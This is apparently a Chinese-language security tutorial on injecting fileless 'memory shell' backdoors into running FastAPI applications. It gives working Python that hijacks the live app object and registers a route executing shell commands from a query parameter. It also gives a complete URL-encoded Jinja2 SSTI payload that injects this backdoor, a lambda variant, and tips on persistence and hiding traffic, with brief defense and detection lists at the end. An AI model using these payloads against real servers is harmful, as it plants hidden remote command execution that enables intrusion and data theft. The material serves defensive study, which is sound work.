浅谈FastAPI框架下的内存马
字数 850 2025-08-22 12:22:24
FastAPI框架下的内存马技术详解
一、FastAPI基础介绍
FastAPI是一个现代、高性能的Python Web框架,用于构建API。它基于Python 3.6+的类型提示,使用Starlette作为底层ASGI框架,并使用Pydantic进行数据验证。
基本示例代码
from fastapi import FastAPI
app = FastAPI()
@app.get("/")
def read_root():
return {"Hello": "World"}
@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
return {"item_id": item_id, "q": q}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
关键组件说明
- FastAPI实例:
app = FastAPI()创建应用实例 - 路由定义:使用装饰器如
@app.get()定义路由 - 运行方式:通过Uvicorn运行应用
二、内存马技术原理
内存马(Memory Shell)是一种无文件驻留技术,通过修改内存中的应用程序对象来添加恶意功能,而不需要在磁盘上留下文件。
FastAPI内存马实现要点
-
获取当前运行的app实例:
import sys app = sys.modules['__main__'].__dict__['app'] -
添加恶意路由:
from fastapi import Request def malicious_handler(request: Request): cmd = request.query_params.get('cmd') if cmd: import os return os.popen(cmd).read() return "normal response" app.add_api_route('/malicious', malicious_handler, methods=['GET'])
三、利用SSTI漏洞注入内存马
漏洞示例代码分析
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
rendered_template = template.render({"app": app})
return rendered_template
限制条件绕过
- 不能包含数字:使用
__builtins__等替代 - 不能包含%:避免URL编码
- 只能执行一次:通过修改
access变量或一次性注入完整payload
完整注入流程
-
获取__builtins__:
/calc?calc_req=lipsum.__globals__.__builtins__ -
执行恶意代码注入:
/calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sys\napp+%3d+sys.modules['__main__'].__dict__['app']\nfrom+fastapi+import+Request\n\ndef+a(request%3a+Request)%3a\n++++import+os\n++++cmd+%3d+request.query_params.get('cmd')\n++++if+cmd+is+not+None%3a\n++++++++return+os.popen(cmd).read()\n++++\n++++return+'shell'\n\napp.add_api_route('/a',+a,+methods%3d['GET'])") -
执行命令:
/a?cmd=whoami
四、防御措施
-
输入验证:
- 严格限制用户输入内容
- 避免直接执行用户提供的代码
-
权限控制:
- 限制路由添加权限
- 使用中间件进行访问控制
-
代码审计:
- 检查所有动态代码执行点
- 监控异常路由添加行为
-
运行时保护:
- 使用RASP进行运行时防护
- 监控内存中的路由变化
五、高级利用技巧
-
使用lambda表达式简化注入:
app.add_api_route("/a", lambda: __import__("os").popen("whoami").read()) -
持久化技术:
- 利用应用重启机制
- 修改启动脚本
-
隐蔽通信:
- 使用正常API隐藏恶意流量
- 加密命令执行结果
六、检测方法
-
路由扫描:
- 检查所有注册的路由
- 对比与源码的差异
-
内存分析:
- 检查内存中的可疑对象
- 监控路由表变化
-
行为监控:
- 记录所有命令执行
- 监控异常进程创建
通过以上技术细节,安全研究人员可以深入理解FastAPI框架下内存马的工作原理,并采取有效措施进行防御和检测。